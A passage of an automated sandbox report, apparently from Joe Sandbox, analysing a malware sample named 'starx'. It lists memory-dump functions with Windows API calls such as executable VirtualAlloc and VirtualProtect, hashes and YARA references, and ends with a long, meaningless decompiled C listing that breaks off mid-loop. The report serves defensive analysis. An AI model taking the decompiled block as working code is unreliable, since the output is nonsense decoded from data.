Function 05C05DB8, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,?,00000000,?,05C05D99,00000800), ref: 05C05E2A

Memory Dump Source

Source File: 00000002.00000002.1016035406.0000000005C00000.00000040.00000001.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5c00000_starx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c3fee013eb5798137ff3d4bc126204cd12f5d356adedcc231bcf505bc275e972
Instruction ID: ac303b3843c95f8d6b6e443dc6a9f24f69e727f11e007860631f11902a78ec70
Opcode Fuzzy Hash: c3fee013eb5798137ff3d4bc126204cd12f5d356adedcc231bcf505bc275e972
Instruction Fuzzy Hash: F71133B6C002089FCB10CFAAD444ADEFBF4BB88310F10842AD429B7340C378A949CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 024CC198, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 024CC212

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 41b777a0dd74d97224f8f8e39e8ae32c6ea1b464ebf2565e7225b98a284076b9
Instruction ID: de5742b077ef88d674bf9214f5505ff0496e202c84865b62d74764991870f0d2
Opcode Fuzzy Hash: 41b777a0dd74d97224f8f8e39e8ae32c6ea1b464ebf2565e7225b98a284076b9
Instruction Fuzzy Hash: 341186B59003098FEB50DFAAC54879EBFF4FB48318F20842AD408A7744CB39A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 024C3300, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 024C4116

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 973d25c0f57c3d201fbacf457e7e518cbe224a22dc60d0726280b49cdaff35f2
Instruction ID: 31f4b1a23575c99ccf20aacbe85aa9d411471c9124d29e14ec0710bebe1aa5f8
Opcode Fuzzy Hash: 973d25c0f57c3d201fbacf457e7e518cbe224a22dc60d0726280b49cdaff35f2
Instruction Fuzzy Hash: 9211F3B59006498FDB10CF9AD548BDEFBF4EB49224F10842ED829B7700D379A549CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05C08988, Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 05C098D5

Memory Dump Source

Source File: 00000002.00000002.1016035406.0000000005C00000.00000040.00000001.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5c00000_starx.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 2ea298715b8c793ca22e8e7c8984118c151605bf1ccaaa18553166c8578913d6
Instruction ID: c561c9e59f855e5e9dab0242456ea5dd95b91a9b6fbb73a15cf1feb1be68f5c5
Opcode Fuzzy Hash: 2ea298715b8c793ca22e8e7c8984118c151605bf1ccaaa18553166c8578913d6
Instruction Fuzzy Hash: FB1115B19002498FDB10CF9AD448BDEFBF4EB48324F108929D519B7750D379A948CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 004440B9, Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?), ref: 004440E5

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e9e84feaad51608a42d43326355def0c8c1e24503f349c6970b18c65e650c909
Instruction ID: 911a4332be994ffb82aee0ccdca0de803eb050814c98b7b337b8dc0d6e4bf6bf
Opcode Fuzzy Hash: e9e84feaad51608a42d43326355def0c8c1e24503f349c6970b18c65e650c909
Instruction Fuzzy Hash: C1D017674029262636153A6AAC079DF635C9D03B7A724402BF6009A581DF5DEFA281FE

Uniqueness

Uniqueness Score: -1.00%

Function 0043E12C, Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0043E141

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: d9fbb2d3914cc50f8980dacef1ca5a582dc24b60bff064f81c93ed11ffd8493e
Instruction ID: df68df2a11ec2746f8aff990c1c95b6fd8241f3f54ed457bd746f88e9048ba75
Opcode Fuzzy Hash: d9fbb2d3914cc50f8980dacef1ca5a582dc24b60bff064f81c93ed11ffd8493e
Instruction Fuzzy Hash: 3BD05E7A550B045EEB109F756C09B673BDC9785395F10843AB90DC6290F574C980D948

Uniqueness

Uniqueness Score: -1.00%

Function 0043FF58, Relevance: 1.5, APIs: 1, Instructions: 14COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043E1F8: __lock.LIBCMT ref: 0043E1FA

__onexit_nolock.LIBCMT ref: 0043FF70

Part of subcall function 0043FE6D: __decode_pointer.LIBCMT ref: 0043FE7C
Part of subcall function 0043FE6D: __decode_pointer.LIBCMT ref: 0043FE8C
Part of subcall function 0043FE6D: __msize.LIBCMT ref: 0043FEAA
Part of subcall function 0043FE6D: __realloc_crt.LIBCMT ref: 0043FECE
Part of subcall function 0043FE6D: __realloc_crt.LIBCMT ref: 0043FEE4
Part of subcall function 0043FE6D: __encode_pointer.LIBCMT ref: 0043FEF6
Part of subcall function 0043FE6D: __encode_pointer.LIBCMT ref: 0043FF04
Part of subcall function 0043FE6D: __encode_pointer.LIBCMT ref: 0043FF0F

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
String ID:
API String ID: 1316407801-0
Opcode ID: 6eb75eca54584b4e2491aa079c79fceb22f337d04fa2db1393f03d14f0201e5c
Instruction ID: 434874cb302ab707e7e6f19f5b1ca2c3e19c6f24ce11bb5a6972d4ea1879bcc9
Opcode Fuzzy Hash: 6eb75eca54584b4e2491aa079c79fceb22f337d04fa2db1393f03d14f0201e5c
Instruction Fuzzy Hash: 8ED05E30E01208AAEF10BBE6D802B8D76706F0C318F60526FF020A61E2CB7C06058E4A

Uniqueness

Uniqueness Score: -1.00%

Function 00440005, Relevance: 1.5, APIs: 1, Instructions: 5COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMT ref: 0044000A

Part of subcall function 0043EED5: TlsGetValue.KERNEL32(00000000,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EEE7
Part of subcall function 0043EED5: TlsGetValue.KERNEL32(00000005,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EEFE
Part of subcall function 0043EED5: RtlEncodePointer.NTDLL(00000000,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EF3C

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 88e33cedb71549bd6afb6d34c7de6cf180ad9af8bfa2338fb140cd856820e2d1
Instruction ID: cd1d6eead22853be809b763f42e3bc00c9a134b9334973940db15b896c1a1f61
Opcode Fuzzy Hash: 88e33cedb71549bd6afb6d34c7de6cf180ad9af8bfa2338fb140cd856820e2d1
Instruction Fuzzy Hash: 4DA022A08032808C8A003B32380380A22A0088EB20F30203FF008C00C0EF380088E00C

Uniqueness

Uniqueness Score: -1.00%

Function 0043EF47, Relevance: 1.5, APIs: 1, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMT ref: 0043EF49

Part of subcall function 0043EED5: TlsGetValue.KERNEL32(00000000,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EEE7
Part of subcall function 0043EED5: TlsGetValue.KERNEL32(00000005,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EEFE
Part of subcall function 0043EED5: RtlEncodePointer.NTDLL(00000000,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EF3C

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 7d8bf2690215620585e2e7e72315f371a30e93fa2a3a5d3ae4e4117a75c06c8b
Instruction ID: ccbc28606bd649a66c80fcdcdf531e41ef5784dca38b2f4c12c1bbe5356bd757
Opcode Fuzzy Hash: 7d8bf2690215620585e2e7e72315f371a30e93fa2a3a5d3ae4e4117a75c06c8b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00443F82, Relevance: 1.3, APIs: 1, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00443FAD

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c63f5f9c519448c9b4502ad6fe4e1684621ea1b99995eb73b00937064817e4dd
Instruction ID: 6d16a52211387e8614691a1310542f412d2a5ad0cf9c6058422a793840b2d569
Opcode Fuzzy Hash: c63f5f9c519448c9b4502ad6fe4e1684621ea1b99995eb73b00937064817e4dd
Instruction Fuzzy Hash: AE21C372A00304ABDB20DFA9DD85B5AF7F4BF44709F04442AE706D7242D678ED54CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00443ED9, Relevance: 1.3, APIs: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00443F04

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a366665bc09121a12c04a674e7517c7ecd1108c38bdd83c10e416d4513506fa5
Instruction ID: e012f55a0aa6be028a3e52b19a6c1c74b603d043471f0bd0c92ab9eed74669f4
Opcode Fuzzy Hash: a366665bc09121a12c04a674e7517c7ecd1108c38bdd83c10e416d4513506fa5
Instruction Fuzzy Hash: 88119372E00704EBDB109FA9CC85B9AB7F4EF04709F04446AE645D7242D778EE59CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004440F0, Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 004440FA

Part of subcall function 0044346C: VirtualProtect.KERNEL32(?,?,00000040,00000000), ref: 00443493
Part of subcall function 0044346C: VirtualProtect.KERNEL32(?,?,00000000,00000000), ref: 004434BA
Part of subcall function 0044346C: GetCurrentProcess.KERNEL32(?,?,?,?,00000000,00000000), ref: 004434C0
Part of subcall function 0044346C: FlushInstructionCache.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 004434C7

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ProtectVirtual$CacheCloseCurrentFlushHandleInstructionProcess
String ID:
API String ID: 2900862000-0
Opcode ID: a92e37b583c746b01cf2cfbae83f948acf09723dcf31bfc3c51381dcd34caf92
Instruction ID: 374387c04c1fbdebf4255310a79857dc14e24ee7ecc82d0d22f5cc06d685e446
Opcode Fuzzy Hash: a92e37b583c746b01cf2cfbae83f948acf09723dcf31bfc3c51381dcd34caf92
Instruction Fuzzy Hash: 72F0ED3A800104EFEB109B09ED46A5EB3F8EB9632AF20447BE44563262C775AD408A98

Uniqueness

Uniqueness Score: -1.00%

Function 00BAD4D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1010824384.0000000000BAD000.00000040.00000001.sdmp, Offset: 00BAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bad000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f7b30949c80bc28abfc611cb4cca72815653080f29b8f5eafa0428b0d18db2
Instruction ID: b5bdfbc903a0b56721b538425ef259f67349fb54102ef448c59804f3eba81a59
Opcode Fuzzy Hash: a4f7b30949c80bc28abfc611cb4cca72815653080f29b8f5eafa0428b0d18db2
Instruction Fuzzy Hash: 6A213A75908200DFCB05CF14D8C4B16BBE5FBA9318F2485A9E9064F656C336D846D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00BBD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1010856469.0000000000BBD000.00000040.00000001.sdmp, Offset: 00BBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bbd000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b6dcaeb63ff368e5a73b4e8cad396c2507d41e2170273eebbbb6eae73e1cf8
Instruction ID: 403a2845430f95b87b1b4f8d7db982df405b9279c908dd39186d3d3a14795c9a
Opcode Fuzzy Hash: 02b6dcaeb63ff368e5a73b4e8cad396c2507d41e2170273eebbbb6eae73e1cf8
Instruction Fuzzy Hash: 1B213474504200DFCB14EF14D8D4B66BBA6FB84314F60C9A9E80A4B346D3BAD847DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00BBD006, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1010856469.0000000000BBD000.00000040.00000001.sdmp, Offset: 00BBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bbd000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b79c6cdb003951d352d8c536deb74adbe3ae3e099946fc8454e3f2955a5726e8
Instruction ID: 3769f9cca583cefcc82d8c631d2e8f243c7d2d8b49ae52cbc268661fc2117154
Opcode Fuzzy Hash: b79c6cdb003951d352d8c536deb74adbe3ae3e099946fc8454e3f2955a5726e8
Instruction Fuzzy Hash: 2921A4755083808FCB02CF20D5A4B15BFB1FB46314F28C5DAD8498B297C37AD80ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00BAD4D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1010824384.0000000000BAD000.00000040.00000001.sdmp, Offset: 00BAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bad000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 961e91ba0ee338cd6123fecac9ff0630760a9363f65fb5012994618e0b47a85d
Instruction ID: 716316110b46732ed39d934299447b324a72c76b8cecea0e98f91f43b7ebb475
Opcode Fuzzy Hash: 961e91ba0ee338cd6123fecac9ff0630760a9363f65fb5012994618e0b47a85d
Instruction Fuzzy Hash: CD11D376904280CFCF16CF14D5C4B16BFB1FB95324F24C6AAD80A0B656C33AD95ACBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0043FBB5, Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00441B4E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00441B63
UnhandledExceptionFilter.KERNEL32(00445920), ref: 00441B6E
GetCurrentProcess.KERNEL32(C0000409), ref: 00441B8A
TerminateProcess.KERNEL32(00000000), ref: 00441B91

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: a0102ef4df40c4ed6bdeafeff6a1efefd1bb06bf984cf2cb6a2abd61abeb4e58
Instruction ID: ad97b328646b0f5c21c4603648088ab48ab8018b5ee77c6ea2abebdaacd08cdf
Opcode Fuzzy Hash: a0102ef4df40c4ed6bdeafeff6a1efefd1bb06bf984cf2cb6a2abd61abeb4e58
Instruction Fuzzy Hash: 0821FEBC800204DFE740EF25ECA4A587BE4FB0A310F60503EEA0887662EBB45980CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00402296, Relevance: .4, Instructions: 441
COMMONCrypto

Download Yara Rule

C-Code - Quality: 65%

			E00402296() {
				intOrPtr* _t96;
				signed char _t98;
				signed char _t99;
				signed int _t100;
				void* _t101;
				signed int _t103;
				intOrPtr* _t105;
				intOrPtr* _t106;
				void* _t107;
				signed int _t109;
				intOrPtr* _t111;
				intOrPtr* _t113;
				void* _t114;
				void* _t117;
				signed int _t118;
				void* _t119;
				signed char _t120;
				signed char _t123;
				signed int _t124;
				signed char _t125;
				intOrPtr* _t126;
				void* _t127;
				intOrPtr* _t129;
				intOrPtr* _t131;
				intOrPtr* _t132;
				intOrPtr* _t133;
				intOrPtr* _t134;
				intOrPtr* _t135;
				intOrPtr* _t136;
				intOrPtr* _t137;
				signed int _t138;
				void* _t139;
				signed int _t141;
				signed int _t142;
				signed int _t144;
				signed int* _t150;
				signed int _t151;
				signed int _t152;
				signed int _t154;
				signed int* _t155;
				signed char _t156;
				signed int _t157;
				signed char _t159;
				signed char _t160;
				signed char _t161;
				intOrPtr* _t162;
				signed int* _t164;
				signed int* _t165;
				void* _t169;
				intOrPtr* _t170;
				signed int _t171;
				signed char* _t172;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				void* _t176;
				void* _t177;
				signed int _t190;

				asm("adc esi, [eax]");
				_t98 = _t96 -  *_t96 +  *((intOrPtr*)(_t96 -  *_t96));
				asm("adc [eax], al");
				 *_t98 =  *_t98 + _t98;
				_t99 = _t98 |  *_t98;
				 *_t159 =  *_t159 + _t162;
				_t164 = _t162 +  *_t162 + _t155;
				asm("adc eax, 0x1b000005");
				_push(es);
				 *0x2a1b0000 =  *0x2a1b0000 + 0x1728021e;
				 *_t99 =  *_t99 + _t99;
				_t160 = _t159 |  *_t164;
				asm("adc esi, [eax]");
				_t100 = _t99 +  *_t99;
				_t170 = _t169 - 1;
				 *_t100 =  *_t100 + _t100;
				 *_t155 =  *_t155 + _t160;
				 *_t100 =  *_t100 + _t100;
				asm("adc [esi], edx");
				_t174 = _t173 |  *_t155;
				_t156 =  &(_t155[0]);
				 *_t170 =  *_t170 + _t100;
				asm("sbb dh, bh");
				_t1 =  &(_t172[_t160]);
				 *_t1 = _t172[_t160] + _t174;
				if( *_t1 > 0) {
					 *_t100 =  *_t100 + _t100;
					_t160 = _t160 |  *(_t170 + _t100 + 0x2d1b0000);
					_t156 = _t156 ^  *_t160;
					_t154 = _t100 |  *_t100;
					_pop(es);
					asm("sbb esi, edi");
					 *((intOrPtr*)(_t176 + _t160)) =  *((intOrPtr*)(_t176 + _t160)) + _t174;
					 *_t164 =  *_t164 - _t154;
					 *_t154 =  *_t154 + _t154;
					_t100 = _t154 -  *((intOrPtr*)(_t154 + 0xa00001b));
				}
				 *_t164 =  *_t164 + _t160;
				asm("sbb cl, [ebx]");
				 *_t170 =  *_t170 + _t100;
				_pop(ss);
				 *_t160 =  *_t160 + 1;
				_t101 = _t100 - 2;
				asm("sbb [ebx], cl");
				 *_t170 =  *_t170 + _t101;
				 *_t160 =  *_t160 + 1;
				ss = ss;
				_t103 = _t101 - 0x00000002 |  *(_t101 - 2);
				_pop(es);
				asm("sbb bh, dh");
				 *((intOrPtr*)(_t164 + _t103)) =  *((intOrPtr*)(_t164 + _t103)) + _t174;
				_t171 = _t170 -  *((intOrPtr*)(_t156 + 0x1b7e));
				_t161 = _t160 |  *_t164;
				_push(ds);
				asm("adc esi, [eax]");
				_t105 = _t103 -  *_t164 +  *((intOrPtr*)(_t103 -  *_t164));
				asm("lds eax, [ecx]");
				 *_t105 =  *_t105 + _t105;
				_t106 = _t105;
				 *_t161 = _t164 +  *_t161;
				if( *_t161 <= 0) {
					 *_t106 =  *_t106 + _t106;
					_t106 = _t106 + 0xfe;
					asm("adc eax, 0x2000008");
				}
				 *_t106 =  *_t106 + _t106;
				_t165 = _t164 +  *_t171;
				 *_t171 =  *_t171;
				 *((intOrPtr*)(_t106 + _t174)) =  *((intOrPtr*)(_t106 + _t174)) + _t106;
				_t107 = _t106 - 2;
				 *_t172 =  *_t172 + _t107;
				_t172[_t165] = _t172[_t165] + _t107;
				_t172[_t165] = _t172[_t165] + _t107;
				 *((intOrPtr*)(_t107 + _t174)) =  *((intOrPtr*)(_t107 + _t174)) + _t107;
				_t109 = _t107 - 0x80060002 |  *(_t107 - 0x80060002);
				 *((intOrPtr*)(_t109 + _t174)) =  *((intOrPtr*)(_t109 + _t174)) + _t109;
				_t111 = _t109 - 0x80060002;
				_t172[_t165] = _t172[_t165] + _t111;
				 *0x17040000 =  *0x17040000 | 0x00000080;
				_push(cs);
				 *_t111 =  *_t111 + _t111;
				_t113 = _t111 + 0x28 - 2;
				 *_t172 =  *_t172 + _t113;
				_t172[_t165] = _t172[_t165] + _t113;
				asm("adc byte [eax], 0x0");
				_t172[_t165] = _t172[_t165] + _t113;
				asm("adc byte [ecx], 0x0");
				_t172[_t165] = _t172[_t165] + _t113;
				asm("adc byte [edx], 0x0");
				 *((intOrPtr*)(_t113 + _t174)) =  *((intOrPtr*)(_t113 + _t174)) + _t113;
				do {
					 *((intOrPtr*)(_t165 + _t113)) =  *((intOrPtr*)(_t165 + _t113)) - _t161;
					 *_t172 =  *_t172 + _t113;
					asm("adc byte [ebx], 0x0");
					 *((intOrPtr*)(_t113 + _t174)) =  *((intOrPtr*)(_t113 + _t174)) + _t113;
					_t114 = _t113 - 2;
					 *_t172 =  *_t172 + _t114;
					asm("adc byte [eax+eax], 0x0");
					_push(es);
					asm("adc byte [0x28040000], 0x2f");
					_t117 = _t114 + 0x28 +  *[cs:eax] +  *((intOrPtr*)(_t114 + 0x28 +  *[cs:eax]));
					_push(es);
					asm("adc byte [esi], 0x0");
					 *((intOrPtr*)(_t117 + _t174)) =  *((intOrPtr*)(_t117 + _t174)) + _t117;
					_t118 = _t117 - 2;
					 *_t172 =  *_t172 + _t118;
					asm("adc byte [edi], 0x0");
					 *((intOrPtr*)(_t118 + _t174)) =  *((intOrPtr*)(_t118 + _t174)) + _t118;
					 *_t165 =  *_t165 ^ _t118;
					 *_t172 =  *_t172 + _t118;
					asm("sbb byte [eax], 0x0");
					 *((intOrPtr*)(_t118 + _t174)) =  *((intOrPtr*)(_t118 + _t174)) + _t118;
					 *_t165 =  *_t165 ^ _t118;
					 *_t172 =  *_t172 + _t118;
					asm("sbb byte [ecx], 0x0");
					_t172[_t165] = _t172[_t165] + _t118;
					asm("sbb byte [edx], 0x0");
					_t172[_t165] = _t172[_t165] + _t118;
					asm("sbb byte [ebx], 0x0");
					 *((intOrPtr*)(_t118 + _t174)) =  *((intOrPtr*)(_t118 + _t174)) + _t118;
					_t119 = _t118 - 2;
					 *_t172 =  *_t172 + _t119;
					asm("sbb byte [eax+eax], 0x0");
					_t113 = _t119 + 0x16;
					asm("sbb byte [0x73040000], 0x89");
					 *_t113 =  *_t113 + _t113;
					_push(es);
					 *(_t113 + _t113) =  *(_t113 + _t113) - _t165;
					 *_t172 =  *_t172 + _t113;
				} while ( *_t172 >= 0);
				 *_t113 =  *_t113 + _t113;
				_push(es);
				 *_t172 =  *_t172 - _t165;
				 *_t113 =  *_t113 + _t113;
				_push(es);
				_push(ss);
				 *_t156 =  *_t156 & 0x00000000;
				_t172[_t165] = _t172[_t165] + _t113;
				 *(_t113 + _t113) =  *(_t113 + _t113) & 0x00000000;
				_t120 = _t113 + 0x17;
				_push(es);
				_push(ss);
				 *((intOrPtr*)(0xa010000 + _t120)) =  *((intOrPtr*)(0xa010000 + _t120)) - _t161;
				 *_t172 =  *_t172 + _t120;
				 *0x258006 = _t120;
				 *((intOrPtr*)(_t176 + 0xa010000)) =  *((intOrPtr*)(_t176 + 0xa010000)) + _t120;
				 *_t172 =  *_t172 & 0x00000000;
				 *((intOrPtr*)(_t176 + 0xa010000)) =  *((intOrPtr*)(_t176 + 0xa010000)) + _t120;
				 *_t171 =  *_t171 & 0x00000000;
				 *((intOrPtr*)(_t176 + 0xa010000)) =  *((intOrPtr*)(_t176 + 0xa010000)) + _t120;
				 *_t120 =  *_t120;
				 *_t120 =  *_t120 + _t120;
				_t157 = _t156 - 1;
				_t177 = _t176 + 1;
				_t175 = _t174 - 1;
				 *_t172 =  *_t172 - _t157;
				 *_t120 =  *_t120 + _t120;
				 *0xa010000 =  *0xa010000 - 0xa010001;
				_push(es);
				 *0x28040000 =  *0x28040000 - 0x33;
				_t123 = (_t120 |  *(_t120 + 0x400002c)) +  *(_t120 |  *(_t120 + 0x400002c)) +  *((intOrPtr*)((_t120 |  *(_t120 + 0x400002c)) +  *(_t120 |  *(_t120 + 0x400002c))));
				_push(es);
				 *_t172 =  *_t172;
				 *((intOrPtr*)(_t123 + _t175)) =  *((intOrPtr*)(_t123 + _t175)) + _t123;
				_t124 = _t123 ^ 0x00000002;
				 *_t172 =  *_t172 + _t124;
				 *_t171 =  *_t171;
				 *((intOrPtr*)(_t124 + _t175)) =  *((intOrPtr*)(_t124 + _t175)) + _t124;
				_t125 = _t124 ^ 0x80060002;
				 *_t125 =  *_t125 ^ _t125;
				 *((intOrPtr*)(_t125 + _t175)) =  *((intOrPtr*)(_t125 + _t175)) + _t125;
				_t126 = _t125 +  *[ss:eax];
				_push(es);
				 *_t161 =  *_t161 ^ 0x00000000;
				 *((intOrPtr*)(_t126 + _t175)) =  *((intOrPtr*)(_t126 + _t175)) + _t126;
				asm("aaa");
				_t127 = _t126 +  *_t126;
				_push(es);
				 *0xa010000 =  *0xa010000 ^ 0x00000000;
				 *((intOrPtr*)(_t127 + _t175)) =  *((intOrPtr*)(_t127 + _t175)) + _t127;
				 *_t172 =  *_t172 + _t127;
				 *_t157 =  *_t157 ^ 0x00000000;
				 *((intOrPtr*)(0xa010000 + _t171)) =  *((intOrPtr*)(_t171 + 0xa010001)) + _t127;
				 *(_t127 + _t127) =  *(_t127 + _t127) ^ 0x00000000;
				 *0x20040000 =  *0x20040000 ^ 0x00000002;
				_t129 =  *0x3680c000;
				 *_t129 =  *_t129 + _t129;
				_push(es);
				_push(ss);
				 *_t161 =  *_t161 - _t157;
				_t131 = _t129 + 0x1e +  *((intOrPtr*)(_t129 + 0x1e));
				_push(es);
				 *0x3a281706 = _t131;
				_t132 = _t131 +  *_t131;
				_push(es);
				 *0x3b281806 = _t132;
				_t133 = _t132 +  *_t132;
				_push(es);
				 *0x3c281906 = _t133;
				_t134 = _t133 +  *_t133;
				_push(es);
				 *0x3d281a06 = _t134;
				_t135 = _t134 +  *_t134;
				_push(es);
				 *0x3e281b06 = _t135;
				_t136 = _t135 +  *_t135;
				_push(es);
				 *0x3f281c06 = _t136;
				_t137 = _t136 +  *_t136;
				_push(es);
				 *0x40281d06 = _t137;
				_t138 = _t137 +  *_t137;
				_push(es);
				 *0x378006 = _t138;
				 *((intOrPtr*)(0xa010000 + _t175)) =  *((intOrPtr*)(0xa010000 + _t175)) + _t138;
				 *_t138 =  *_t138 + _t138;
				 *_t157 = 0xa010000 +  *_t157;
				 *0xa010000 =  *0xa010000 ^ _t138;
				 *_t171 =  *_t171 + _t138;
				 *_t138 =  *_t138 + _t138;
				 *0x16110000 =  *0x16110000 + _t161;
				while(1) {
					 *_t138 =  *_t138 + _t138;
					asm("adc [esi], edx");
					_t175 = _t175 |  *_t157;
					asm("sbb eax, [eax]");
					_pop(es);
					_pop(ss);
					 *_t161 =  *_t161 + 1;
					_t139 = _t138 - 2;
					asm("sbb [ebx], cl");
					 *_t171 =  *_t171 + _t139;
